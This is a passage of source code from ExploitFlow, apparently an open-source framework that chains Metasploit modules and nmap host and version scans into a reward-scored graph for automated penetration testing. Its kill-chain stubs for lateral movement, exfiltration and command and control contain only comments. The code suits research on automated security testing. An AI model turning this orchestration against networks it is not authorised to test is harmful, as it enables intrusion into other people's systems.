| # self._op2, self, label=str(self.post_state) 488 | # ) # edge between second op and addition 489 | # elif isinstance(self._op2, StateExploit): 490 | # self._graph.add_edge( 491 | # self._op2, self._op1, label=str(result1) 492 | # ) # edge between ops 493 | # self._graph.add_edge( 494 | # self, self._op2, label=str(self.post_state) 495 | # ) # edge between second op and addition 496 | # else: # none of them are States 497 | # self._graph.add_edge( 498 | # self._op1, self._op2, label=str(result1) 499 | # ) # edge between ops 500 | # self._graph.add_edge( 501 | # self._op2, self, label=str(self.post_state) 502 | # ) # edge between second op and addition 503 | 504 | if debug: 505 | print( 506 | color( 507 | "Debugging " 508 | + str(self.get_name()) 509 | + " - " 510 | + str(self._op1) 511 | + " [" 512 | + str(result1) 513 | + "]" 514 | + " (op1) and " 515 | + str(self._op2) 516 | + " [" 517 | + str(result2) 518 | + "]" 519 | + " (op2): ", 520 | fg="white", 521 | bg="green", 522 | bold=True, 523 | ) 524 | + color( 525 | " post_state: " + str(self.post_state), 526 | fg="black", 527 | bg="white", 528 | bold=True, 529 | ) 530 | + color( 531 | " status: " + str(self.status), 532 | fg="black", 533 | bg="yellow", 534 | bold=True, 535 | ) 536 | ) 537 | self._graph.update(self, self.reward, self.post_state, auxiliary=True, debug=debug) 538 | return self.post_state 539 | 540 | 541 | class AddExploit(Exploit): 542 | """ 543 | Mixes exploits propagating status in a serial manner. 544 | """ 545 | 546 | def __init__(self, input1, input2, name="Add"): 547 | super(AddExploit, self).__init__(name) 548 | self._op1 = ( 549 | StateExploit(input1) if not isinstance(input1, Exploit) else input1 550 | ) 551 | self._op2 = ( 552 | StateExploit(input2) if not isinstance(input2, Exploit) else input2 553 | ) 554 | self._graph = graph.get_default_graph() 555 | self.reward = 0 # exceptionally, don't discount 556 | 557 | def _forward(self, state_input, target, debug=False): 558 | self._graph.add_to_graph(self) 559 | result1 = self._op1.forward(state_input, target, debug=debug) 560 | result2 = self._op2.forward(state_input, target, debug=debug) 561 | 562 | self.status = self._op1.status or self._op2.status 563 | self.pre_state = state_input 564 | self.post_state = result1 + result2 565 | 566 | # graph 567 | self._graph.add_edge(self._op1, self) 568 | self._graph.add_edge(self._op2, self) 569 | 570 | if debug: 571 | print( 572 | color( 573 | "Debugging " 574 | + str(self.get_name()) 575 | + " - " 576 | + str(self._op1) 577 | + " [" 578 | + str(result1) 579 | + "]" 580 | + " (op1) and " 581 | + str(self._op2) 582 | + " [" 583 | + str(result2) 584 | + "]" 585 | + " (op2): ", 586 | fg="white", 587 | bg="green", 588 | bold=True, 589 | ) 590 | + color( 591 | " post_state: " + str(self.post_state), 592 | fg="black", 593 | bg="white", 594 | bold=True, 595 | ) 596 | + color( 597 | " status: " + str(self.status), 598 | fg="black", 599 | bg="yellow", 600 | bold=True, 601 | ) 602 | ) 603 | self._graph.update(self, self.reward, self.post_state, debug) 604 | return self.post_state 605 | 606 | 607 | class ExploitMSF(Exploit): 608 | """ 609 | A class to organize MSF exploits and other actions 610 | 611 | Coded so that it's generic across all MSF possible actions. 612 | 613 | Arguments are passed as a dictionary and then into MSF 614 | through the client before running (_forward) the exploit. 615 | 616 | Attributes 617 | ---------- 618 | adapter: AdapterMSF 619 | The adapter for the MSF framework, helps interact with it 620 | name : str 621 | name of the exploit according to MSF nomenclature 622 | exploit_type : state.State 623 | type of MSF exploit (e.g. "auxiliary" or "exploit") 624 | args : dict 625 | MSF exploit arguments as a dict 626 | 627 | NOTE: arguments are initialized to an empty dic by default 628 | """ 629 | 630 | def __init__(self, adapter, name, exploit_type, args): 631 | super(ExploitMSF, self).__init__(name) 632 | self._adapter = adapter 633 | self._type = exploit_type 634 | self._graph = graph.get_default_graph() 635 | self._exploit = self._adapter.client.modules.use(self._type, self.name) 636 | 637 | # redefine rewards 638 | # NOTE: these can be overwritten externally, if desired 639 | # 640 | self.reward = -10 # default exploit reward 641 | self.success_reward = 50 # reward for successful exploit 642 | 643 | # set arguments/options 644 | for key in args.keys(): 645 | self._exploit[key] = args[key] 646 | 647 | def __str__(self): 648 | return super().__str__() 649 | 650 | def __repr__(self): 651 | return super().__str__() 652 | 653 | def get_options(self): 654 | return self._exploit.options 655 | 656 | def set_options(self, args): 657 | for key in args.keys(): 658 | self._exploit[key] = args[key] 659 | 660 | def missing(self): 661 | """Report on any missing required arguments""" 662 | return None if not self._exploit.missing_required else self._exploit.missing_required 663 | 664 | def _forward(self, state_input, target, debug=False): 665 | # reward to apply, default to negative 666 | reward = self.reward 667 | 668 | if state_input: 669 | self.pre_state = state_input 670 | else: 671 | self.pre_state = state.State_default() # New empty state 672 | 673 | self._graph.add_to_graph(self) 674 | 675 | # priotize exploit's target, over flow's target 676 | if self.target: 677 | flow_target = target 678 | target = self.target 679 | 680 | # execute the exploit (NOTE: blocking call) 681 | exploit_out = self._adapter.console.run_module_with_output(self._exploit) 682 | 683 | # # debug 684 | # print(exploit_out) 685 | 686 | # TODO: Consider more exploits as necessary in here 687 | if self.name == "scanner/discovery/arp_sweep": 688 | # process data and extract new IPs 689 | 690 | aux_state = state.State_default() # to be filled by the exploit processing 691 | # routine below 692 | 693 | data = exploit_out.rstrip().split('\n') 694 | ips = [] 695 | for line in data: 696 | if '[+]' in line: 697 | line = line.replace("[+] ", "") 698 | if "appears to be up" in line: 699 | line = line.split(" appears to be up") 700 | ips.append(line[0]) 701 | 702 | for ip in ips: 703 | aux_state.add_new(ip) 704 | 705 | # Turn post_state into the latest State (State_v2, State_v4, as appropriate) 706 | # by converting and then merging 707 | pre_state_aux = state.to_State(self.pre_state, target) 708 | pre_state_aux.merge(aux_state, target) # NOTE: overwrites pre_state_aux with aux_state 709 | 710 | # NOTE: Since ExploitMSF is not included into exploits_all 711 | # (which requires a class per each different exploit), 712 | # we add it in here to all targets and mark it as launched for 713 | # the target in particular 714 | for state_target in aux_state.states.keys(): 715 | if state_target == target: 716 | aux_state.states[state_target].exploits.append( 717 | state.ExploitState_v1(self, True)) 718 | else: 719 | aux_state.states[state_target].exploits.append( 720 | state.ExploitState_v1(self, False)) 721 | 722 | self.post_state = aux_state 723 | 724 | else: 725 | if '[+]' in exploit_out: 726 | sigdata = exploit_out.rstrip().split('\n') 727 | for line in sigdata: 728 | if '[+]' in line: 729 | # print(line) # Exploit succeeded 730 | print(color(line, fg="white", bg="green")) 731 | reward *= -1 # negate reward for positive, successful exploit 732 | 733 | self.post_state = self.pre_state # no change 734 | 735 | # if no pre_state, create blank one 736 | if not self.post_state: 737 | self.post_state = state.State_default() 738 | 739 | if not self.post_state.states: # if dict states is empty 740 | self.post_state.add_new(target) # create a new state for target 741 | 742 | # mark exploit as launched, NOTE assumes post_state is PortState_v2 (or v4) 743 | for i, exploit_state in enumerate(self.post_state.states[target].exploits): 744 | # print("DEBUG: " + str(exploit_state.type)) 745 | if isinstance(exploit_state.type, type): # if type is a class, PortState_v2 746 | if exploit_state.type == self.__class__: 747 | self.post_state.states[target].exploits[i].launched = True 748 | else: # if type is an object, PortState_v4 749 | if exploit_state.type == self.name: 750 | self.post_state.states[target].exploits[i].launched = True 751 | 752 | self.status = True # always succeed 753 | 754 | self.debug(debug, target) 755 | self._graph.update(self, reward, self.post_state, debug=debug) 756 | return self.post_state 757 | -------------------------------------------------------------------------------- /exploitflow/flow.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | # 15 | # Inspired by https://github.com/tobegit3hub/miniflow 16 | 17 | from . import exploit 18 | from . import graph 19 | from .state import State_default 20 | from wasabi import color 21 | 22 | 23 | class Flow(object): 24 | """ 25 | The exploit flow. 26 | 27 | Stores state transitions in the graph attribute. 28 | """ 29 | 30 | def __init__(self, state_class=State_default, model=None): 31 | """[summary] 32 | 33 | Parameters 34 | ---------- 35 | state_class : State class type, optional 36 | Stores the data representation class int he flow and its graph, by default State_default 37 | model : [type], optional 38 | """ 39 | self.state_class = state_class 40 | self._graph = graph.get_default_graph(self.state_class) 41 | 42 | def __enter__(self): 43 | """Support with statement.""" 44 | return self 45 | 46 | def __str__(self): 47 | """Returns the string representation of the flow""" 48 | return color("Final reward: ", fg="black", bg="grey", bold=True) + \ 49 | color(" " + str(self.reward()) + " ", fg="white", bg="red", bold=True) + "\n" + \ 50 | color("Final state: ", fg="black", bg="grey", bold=True) + \ 51 | color(" " + str(self.state()) + " ", fg="white", bg="yellow", bold=True) 52 | 53 | def __exit__(self, type, value, trace): 54 | pass 55 | 56 | def plot(self): 57 | self._graph.plot() 58 | 59 | def ascii(self): 60 | return self._graph.ascii() 61 | 62 | def reward(self): 63 | """Returns the current reward of the graph""" 64 | return self._graph.reward 65 | 66 | def set_learning_model(self, model): 67 | """Sets the learning model of the graph""" 68 | self._graph.learning_model = model 69 | 70 | def get_learning_model(self): 71 | """Returns the learning model of the graph""" 72 | return self._graph.learning_model 73 | 74 | def set_state(self, state): 75 | """Sets the state of the graph 76 | 77 | NOTE: unlikely to be used, as the state is set 78 | by the learning model and the exploit flow 79 | """ 80 | self._graph.state = state 81 | 82 | def state(self): 83 | """Returns the current state of the graph""" 84 | return self._graph.state 85 | 86 | def last_state(self): 87 | """Returns the last state of the graph""" 88 | return self._graph.last_state 89 | 90 | def last_action(self): 91 | """Returns the last action of the graph""" 92 | return self._graph.last_action 93 | 94 | def last_reward(self): 95 | """Returns the last reward of the graph""" 96 | return self._graph.last_reward 97 | 98 | def reset(self): 99 | """Resets the current flow""" 100 | self._graph.reward = 0 # stores overall computed reward 101 | self._graph.state = None # stores current state 102 | self._graph.last_state = None # stores the last state, before the last_action and 103 | # before receiving last_reward 104 | self._graph.last_action = None # stores the last action 105 | self._graph.last_reward = None # stores the last action 106 | 107 | def to_dot(self, dotfile_path="/tmp/exploitflow.dot"): 108 | self._graph.to_dot(dotfile_path) 109 | 110 | def run(self, expl, feed_dict=None, options=None, debug=False, target="127.0.0.1"): 111 | """Update the value of PlaceholerExploit with feed_dict data""" 112 | 113 | # sanitize input, consider that State might've been passed 114 | expl = exploit.StateExploit(expl) if not isinstance(expl, exploit.Exploit) else expl 115 | name_op_map = expl._graph.get_name_op_map() 116 | 117 | # # add a connection from previous states to the new expl 118 | # if expl: 119 | # self._graph.add_edge(self.state(), expl, label="run") # edge between ops 120 | 121 | if feed_dict != None: 122 | # Example: "Placeholder_1": 10} or {PlaceholderOp: 10} 123 | for op_or_opname, value in feed_dict.items(): 124 | if isinstance(op_or_opname, str): 125 | placeholder_op = name_op_map[op_or_opname] 126 | else: 127 | placeholder_op = op_or_opname 128 | 129 | if isinstance(placeholder_op, exploit.PlaceholderExploit): 130 | placeholder_op.set_value(value) 131 | 132 | return expl.forward(None, target, debug=debug) 133 | -------------------------------------------------------------------------------- /exploitflow/graph.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | # 15 | # Inspired by https://github.com/tobegit3hub/miniflow 16 | 17 | import logging 18 | import requests 19 | import networkx as nx 20 | from . import exploit 21 | from .state import State_default 22 | 23 | 24 | class Graph(nx.DiGraph): 25 | """ 26 | A graph storing every discrete step in the exploitation flow. 27 | 28 | Uses networkx, resources: 29 | - source code https://github.com/networkx/networkx 30 | - algorithms https://networkx.org/documentation/stable/reference/algorithms/index.html 31 | - tutorial https://networkx.org/documentation/stable/tutorial.html 32 | """ 33 | 34 | def __init__(self, state_class=State_default): 35 | super(Graph, self).__init__() 36 | self._name_op_map = {} 37 | self._trainable_variables_collection = {} 38 | self.state_class = state_class 39 | 40 | # learning-related attributes 41 | self.reward = 0 # stores overall computed cumulative reward 42 | self.state = None # stores current state 43 | self.last_state = None # stores the last state, before the last_action and 44 | # before receiving last_reward 45 | self.last_action = None # stores the last action 46 | self.last_reward = None # stores the last action's reward 47 | self.learning_model = None # stores the learning model, if applicable 48 | 49 | def get_name_op_map(self): 50 | return self._name_op_map 51 | 52 | def get_trainable_variables_collection(self): 53 | return self._trainable_variables_collection 54 | 55 | def add_to_trainable_variables_collection(self, key, value): 56 | if key in self._trainable_variables_collection: 57 | logging.warning( 58 | "The key: {} exists in trainable_variables_collection".format(key) 59 | ) 60 | else: 61 | self._trainable_variables_collection[key] = value 62 | 63 | def get_unique_name(self, original_name): 64 | """Returns a unique name for the given original_name 65 | 66 | NOTE: applies only to Mul and Add operations, as they are the relevant ones 67 | which are repeated in the graph and don't count for the learning models 68 | """ 69 | if "Mul" in original_name or \ 70 | "Add" in original_name or \ 71 | "State" in original_name: 72 | 73 | unique_name = original_name 74 | index = 0 75 | while unique_name in self._name_op_map.keys(): 76 | index += 1 77 | base_name = unique_name.split("_")[0] 78 | unique_name = "{}_{}".format(base_name, index) 79 | return unique_name 80 | else: 81 | return original_name # do not change names, as it conflicts 82 | # with leaning models 83 | 84 | def add_to_graph(self, expl): 85 | unique_name = self.get_unique_name(expl.get_name()) 86 | expl.set_name(unique_name) 87 | self._name_op_map[expl.get_name()] = expl 88 | self.add_node(expl) 89 | 90 | def add_reward_graph(self, reward): 91 | """Adds a reward to the graph""" 92 | self.reward += reward 93 | # return reward 94 | 95 | def updates_state(self, state): 96 | """Updates latest state in the graph""" 97 | self.state = state 98 | 99 | def update(self, expl, reward, state, auxiliary=False, debug=False): 100 | """Updates graph's state, after expl and obtaining reward 101 | 102 | Parameters 103 | ---------- 104 | expl : Exploit 105 | corresponds with the action taken, the exploit 106 | reward : int 107 | numercial value representing the reward, positive or negative 108 | state : State 109 | resulting state after the exploit 110 | auxiliary : bool, optional 111 | whether the update is auxiliary or not, by default False. Used 112 | with no-op exploits, whose operation's results should not be added to the graph 113 | (e.g. MultipleExploit or StateExploit) 114 | debug : bool, optional 115 | whether to print debug messages or not, by default False 116 | """ 117 | 118 | if not auxiliary: 119 | self.last_state = self.state 120 | self.last_reward = reward 121 | self.last_action = expl 122 | 123 | self.add_reward_graph(reward) 124 | self.updates_state(state) 125 | 126 | if debug: 127 | print("Graph.update()") 128 | print("\t action: ", expl) 129 | print("\t reward: ", reward) 130 | print("\t cum. reward: ", self.reward) 131 | print("\t state: ", state) 132 | print("\t auxiliary: ", auxiliary) 133 | 134 | 135 | 136 | def to_dot(self, dotfile_path) -> None: 137 | """Export graph to a dot file 138 | 139 | NOTE: simple ASCII art visualizations can be 140 | made with https://dot-to-ascii.ggerganov.com/ 141 | """ 142 | nx.nx_pydot.write_dot(self, dotfile_path) 143 | 144 | def ascii(self) -> str: 145 | """Export graph to an ASCII art string 146 | 147 | NOTE: uses https://github.com/ggerganov/dot-to-ascii 148 | """ 149 | dot = nx.nx_pydot.to_pydot(self) 150 | return requests.get( 151 | "https://dot-to-ascii.ggerganov.com/dot-to-ascii.php", 152 | params={ 153 | "boxart": 1, # 0 for not fancy 154 | "src": str(dot), 155 | }, 156 | ).text 157 | 158 | def plot(self) -> None: 159 | import matplotlib.pyplot as plt 160 | from networkx.drawing.nx_pydot import graphviz_layout 161 | 162 | # node colors 163 | node_color = [] 164 | for node in list(_default_graph.nodes): 165 | if type(node) is exploit.InitExploit: 166 | node_color.append("white") 167 | elif node.status: 168 | node_color.append("green") 169 | else: 170 | node_color.append("red") 171 | 172 | # labels 173 | labels = {} 174 | for node in list(_default_graph.nodes): 175 | if type(node) is exploit.ConstantExploit: 176 | labels[node] = str(node.name) + "|" + str(node._value) 177 | else: 178 | labels[node] = node.name 179 | 180 | # rest of drawing 181 | pos = graphviz_layout(self, prog="dot") # top-down tree 182 | nx.draw( 183 | self, 184 | node_color=node_color, 185 | with_labels=True, 186 | labels=labels, 187 | pos=pos, 188 | # connectionstyle="arc3,rad=0.2", 189 | ) 190 | 191 | # redraw (other than Ops) Exploits 192 | exploits = [ 193 | node 194 | for node in list(_default_graph.nodes) 195 | if (type(node) is exploit.ConstantExploit) 196 | or (type(node) is exploit.BoolExploit) 197 | ] 198 | nx.draw_networkx_nodes(self, pos, nodelist=exploits, node_shape="^") 199 | 200 | # draw edge labels 201 | edge_labels = nx.get_edge_attributes(self, "label") 202 | nx.draw_networkx_edge_labels(self, pos, edge_labels, font_size=5) 203 | 204 | plt.show() 205 | 206 | 207 | # TODO: Make global variable for all packages 208 | # i.e., consider moving it to __init__.py 209 | if "_default_graph" not in globals(): 210 | _default_graph = None 211 | 212 | 213 | def get_default_graph(state_class=State_default): 214 | global _default_graph 215 | if _default_graph is None: 216 | _default_graph = Graph(state_class) 217 | return _default_graph 218 | 219 | def reset_default_graph(state_class=State_default): 220 | global _default_graph 221 | _default_graph = Graph(state_class) 222 | return _default_graph 223 | -------------------------------------------------------------------------------- /exploitflow/killchain/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # Exploits are organized using an adapted kill chain: 16 | # 17 | # 1. Reconnaissance and weaponization - reconnaissance 18 | # 2. Exploitation - exploitation 19 | # 3. Privilege escalation - escalation 20 | # 4. Lateral movement - lateral 21 | # 5. Data exfiltration - exfiltration 22 | # 6. Command and control - control 23 | 24 | from . import reconnaissance 25 | from . import exploitation 26 | from . import escalation 27 | from . import lateral 28 | from . import exfiltration 29 | from . import control 30 | -------------------------------------------------------------------------------- /exploitflow/killchain/control/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # Command and control 16 | -------------------------------------------------------------------------------- /exploitflow/killchain/escalation/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # Privilege escalation 16 | -------------------------------------------------------------------------------- /exploitflow/killchain/exfiltration/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # Data exfiltration 16 | -------------------------------------------------------------------------------- /exploitflow/killchain/exploitation/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # Exploitation 16 | -------------------------------------------------------------------------------- /exploitflow/killchain/lateral/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # Lateral movement 16 | -------------------------------------------------------------------------------- /exploitflow/killchain/reconnaissance/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # Reconnaissance and weaponization exploits 16 | 17 | from exploitflow.exploit import Exploit 18 | import exploitflow.graph as graph 19 | 20 | 21 | class ReconnaissanceExploit(Exploit): 22 | """ 23 | An exploit subclass to group together reconnaissance actions. 24 | """ 25 | 26 | def __init__(self, name="ReconnaissanceExploit"): 27 | super(ReconnaissanceExploit, self).__init__(name) 28 | self._graph = graph.get_default_graph() 29 | self._graph.add_to_graph(self) 30 | 31 | 32 | from . import versions 33 | from . import targets 34 | -------------------------------------------------------------------------------- /exploitflow/killchain/reconnaissance/targets.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | # 15 | # Access to this exploit and the use of information, materials (or portions 16 | # thereof), is not intended, and is prohibited, where such access or use 17 | # violates applicable laws or regulations. By no means the authors 18 | # encourage or promote the unauthorized tampering with running 19 | # systems. This can cause serious human harm and material damages. 20 | 21 | from exploitflow.killchain.reconnaissance import ReconnaissanceExploit 22 | from exploitflow.state import * 23 | from exploitflow.common import * 24 | import json 25 | import xmltodict 26 | import copy 27 | from wasabi import color 28 | import pprint 29 | 30 | 31 | class TargetsExploit(ReconnaissanceExploit): 32 | """ 33 | Leverages Nmap to locate targets 34 | 35 | NOTE: exploit launches against all targets (and should be marked 36 | appropriately) 37 | """ 38 | def __init__(self, subnet=None, name="TargetsExploit"): 39 | super(TargetsExploit, self).__init__(name) 40 | self.subnet = subnet 41 | 42 | def _forward(self, state_input, target, debug=False) -> State: 43 | if state_input: 44 | self.pre_state = state_input 45 | else: 46 | self.pre_state = State_default() # New empty state 47 | 48 | # priotize exploit's target, over flow's target 49 | if self.target: 50 | flow_target = target 51 | target = self.target 52 | 53 | # if subnet passed as part of the constructor, use it 54 | # otherwise construct it from "target" 55 | target_subnet = None 56 | if self.subnet: 57 | target_subnet = self.subnet 58 | else: 59 | target_subnet = target + "/24" 60 | 61 | # manually invoke and process nmap XML output 62 | nmap_command = ( 63 | "nmap -oX - -sn " 64 | + target_subnet 65 | ) 66 | xml = shellout(nmap_command) 67 | nmap_results = xmltodict.parse(xml) 68 | 69 | # print(json.dumps(nmap_results, indent=4, sort_keys=True)) # debug 70 | 71 | # TODO: Note that if there's only one port, data structure is different 72 | # see https://avleonov.com/2018/03/11/converting-nmap-xml-scan-reports-to-json/ 73 | # for an example 74 | 75 | # NOTE, turns input state into latest State and ensures 76 | # that it's not empty (add least state for target) 77 | aux_state = to_State(self.pre_state, target) 78 | if not aux_state.states: # if dict states is empty 79 | aux_state.add_new(target) # create a new state for target 80 | 81 | # extra reward 82 | # NOTE: adds a "-1" per each host that is up 83 | # since the goal is to remain stealthy 84 | extra_reward = 0 85 | 86 | for target_nmap in nmap_results["nmaprun"]["host"]: 87 | if target_nmap["status"]["@state"] == "up": 88 | # could come as a list or as a dict 89 | if type(target_nmap["address"]) == list: 90 | ipaddr = str(target_nmap["address"][0]["@addr"]) 91 | elif type(target_nmap["address"]) == dict: 92 | ipaddr = str(target_nmap["address"]["@addr"]) 93 | else: 94 | raise Exception("Unknown data type for address") 95 | 96 | if not ipaddr in aux_state.states.keys(): 97 | aux_state.add_new(ipaddr) 98 | extra_reward -= 1 99 | 100 | self.post_state = aux_state 101 | 102 | # mark exploit as launched, NOTE assumes post_state is PortState_v2 (or v4) 103 | for state_target in self.post_state.states.keys(): 104 | # mark exploit as launched, NOTE assumes post_state is PortState_v2 (or v4) 105 | for i, exploit_state in enumerate(self.post_state.states[state_target].exploits): 106 | # print("DEBUG: " + str(exploit_state.type)) 107 | if isinstance(exploit_state.type, type): # if type is a class, PortState_v2 108 | if exploit_state.type == self.__class__: 109 | self.post_state.states[state_target].exploits[i].launched = True 110 | else: # if type is an object, PortState_v4 111 | if exploit_state.type == self.name: 112 | self.post_state.states[state_target].exploits[i].launched = True 113 | 114 | self.status = ( 115 | nmap_results["nmaprun"]["runstats"]["finished"]["@exit"] == "success" 116 | ) 117 | self.debug(debug, nmap_results=nmap_results, target=target) 118 | 119 | # NOTE add reward (and extra, if applicable) to the graph 120 | self.reward = self.reward + extra_reward 121 | # update graph 122 | self._graph.update(self, self.reward, self.post_state, debug=debug) 123 | 124 | return self.post_state 125 | 126 | def debug(self, debug, nmap_results=None, target=None): 127 | if debug: 128 | super(ReconnaissanceExploit, self).debug(debug, target) 129 | # if nmap_results: 130 | # for target_nmap in nmap_results["nmaprun"]["host"]: 131 | # if target_nmap["status"]["@state"] == "up": 132 | # ipaddr = str(target_nmap["address"][0]["@addr"]) 133 | # print("- " + ipaddr) -------------------------------------------------------------------------------- /exploitflow/killchain/reconnaissance/versions.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | # 15 | # Access to this exploit and the use of information, materials (or portions 16 | # thereof), is not intended, and is prohibited, where such access or use 17 | # violates applicable laws or regulations. By no means the authors 18 | # encourage or promote the unauthorized tampering with running 19 | # systems. This can cause serious human harm and material damages. 20 | 21 | from exploitflow.killchain.reconnaissance import ReconnaissanceExploit 22 | from exploitflow.state import * 23 | from exploitflow.common import * 24 | import json 25 | import xmltodict 26 | import copy 27 | from wasabi import color 28 | 29 | 30 | class VersionExploit(ReconnaissanceExploit): 31 | """ 32 | Scan for versions in a given port-range 33 | """ 34 | def __init__(self, ports=TARGET_PORTS_BASIC, name="VersionExploit"): 35 | super(VersionExploit, self).__init__(name) 36 | self.ports = ports 37 | 38 | def _forward(self, state_input, target, debug=False) -> State: 39 | if state_input: 40 | self.pre_state = state_input 41 | else: 42 | self.pre_state = State_default() # New empty state 43 | 44 | # priotize exploit's target, over flow's target 45 | if self.target: 46 | flow_target = target 47 | target = self.target 48 | 49 | # manually invoke and process nmap XML output 50 | if self.ports: 51 | nmap_command = ( 52 | "nmap -oX - -sV " 53 | + target 54 | + " -p " 55 | + "".join([str(x) + "," for x in self.ports]) 56 | ) 57 | else: 58 | nmap_command = ( 59 | "nmap -oX - -sV " 60 | + target 61 | + " -p " 62 | + "".join([str(x) + "," for x in TARGET_PORTS_ALL]) 63 | ) 64 | xml = shellout(nmap_command) 65 | nmap_results = xmltodict.parse(xml) 66 | 67 | # print(json.dumps(nmap_results, indent=4, sort_keys=True)) # debug 68 | 69 | # TODO: Note that if there's only one port, data structure is different 70 | # see 